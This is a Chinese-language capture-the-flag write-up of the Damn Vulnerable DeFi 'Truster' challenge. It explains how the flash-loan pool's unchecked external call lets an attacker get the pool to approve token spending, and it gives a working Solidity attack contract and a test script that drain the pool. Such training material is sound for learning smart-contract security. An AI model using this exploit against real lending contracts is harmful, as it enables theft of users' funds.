DamnVulnerableDeFi-Truster题解

挑战描述网站：https://www.damnvulnerabledefi.xyz/
挑战源码地址：https://github.com/tinchoabbate/damn-vulnerable-defi

Truster

题目描述：
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

解析

我们的目标是在一个 transaction 中取走 pool 中所有的 token。

我们来看看池子的合约

Copy
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));

token.transfer(borrower, amount);
target.functionCall(data);

if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();

return true;
}

我们可以看到上述闪电贷在借出 token 之后用了 target.functionCall(data) 来调用用户传入的 calldata。
我们可以利用这一点去进行攻击套利。我们可以通过 target.functionCall(data) 去给 token Approve 我们的攻击合约，然后可以在闪电贷结束后利用已经 approve 过的结果进行 transfer token 的操作。

题解

攻击合约: AttackTruster.sol

Copy
import "../truster/TrusterLenderPool.sol";

contract AttackTruster {

TrusterLenderPool _truster;
DamnValuableToken public immutable _token;

constructor(address truster, address tokenAddress) {
_truster = TrusterLenderPool(truster);
_token = DamnValuableToken(tokenAddress);
}

function attack(uint256 amount, address borrower, address target, bytes calldata data) external {
_truster.flashLoan(amount, borrower, target, data);
_token.transferFrom(address(_truster), msg.sender, _token.balanceOf(address(_truster)));
}
}

Copy
it('Execution', async function () {

attackContract = await (await ethers.getContractFactory('AttackTruster', player)).deploy(pool.address, token.address);
const abi = ["function approve(address spender, uint256 amount)"];
const iface = new ethers.utils.Interface(abi);
const data = iface.encodeFunctionData("approve", [attackContract.address, TOKENS_IN_POOL]);

await attackContract.attack(0, player.address, token.address, data);

});

完整题解地址：https://github.com/fenghaojiang/damn-vulnerable-defi